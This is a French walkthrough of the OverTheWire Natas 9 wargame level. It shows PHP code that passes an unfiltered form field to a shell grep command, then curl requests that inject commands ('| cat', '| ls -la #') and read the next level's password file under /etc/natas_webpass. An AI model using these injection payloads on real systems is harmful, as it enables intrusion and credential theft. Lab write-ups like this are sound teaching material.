Natas 9
Level Goal
Username: natas9
Password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
URL: http://natas9.natas.labs.overthewire.org
En se connectant à la page du challenge (curl http://natas9.natas.labs.overthewire.org -u natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
) on a un formulaire de recherche :
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
Et le code source suivant associé :
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
Le danger ici est que le contenu du champ needle
n'est pas filtré côté serveur et est directement utilisé tel quel dans la ligne grep -i $key dictionary.txt
. Ici c'est une simulation, mais dans des conditions réelles cela permettrait de gagner accès à un shell sur le serveur.
Ici essayons d'afficher l'intégralité du contenu du fichier dictionary.txt
en envoyant la valeur | cat
:
curl -d 'needle=| cat&submit=Send' -X POST http://natas9.natas.labs.overthewire.org/ -u natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
On obtient bien le contenu du fichier (que je ne vais pas retranscrire ici car beaucoup trop long). On peut vérifier que le mot de passe n'est pas contenu à l'intérieur utilisant une regex, sachant que les mots de passe précédent faisaient tous 32 caractères de long :
grep -E "[A-Za-z0-9]{32}"
Envoyons maintenant la commande | ls -la #
pour lister le répertoire courant (le #
permet de commenter la suite de la ligne)
curl -d 'needle=| ls -la #&submit=Send' -X POST http://natas9.natas.labs.overthewire.org/ -u natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
On obtient :
total 480
drwxr-x--- 2 natas9 natas9 4096 Dec 20 2016 .
drwxr-xr-x 41 root root 4096 Dec 22 2020 ..
-rw-r----- 1 natas9 natas9 118 Dec 20 2016 .htaccess
-rw-r----- 1 natas9 natas9 126 Oct 20 2018 .htpasswd
-rw-r----- 1 natas9 natas9 460878 Dec 15 2016 dictionary.txt
-rw-r----- 1 natas9 natas9 1952 Dec 20 2016 index-source.html
-rw-r----- 1 natas9 natas9 1185 Dec 20 2016 index.php
-rw-r----- 1 natas9 natas9 1165 Dec 15 2016 index.php.tmpl
Essayons maintenant différentes commandes :
- avec
pwd
on apprend que le répertoire courant est/var/www/natas/natas9
- avec
whoami
on apprend que l'on est bien identifié en tant quenatas9
On sait d'après la consigne de départ du challenge que les mots de passe sont contenus dans des fichiers du répertoire /etc/natas_webpass/
. Si on essaye d'ouvrir le contenu du fichier /etc/natas_webpass/natas10
:
curl -d 'needle=| cat /etc/natas_webpass/natas10 #&submit=Send' -X POST http://natas9.natas.labs.overthewire.org/ -u natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
On a la réponse suivante :
nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu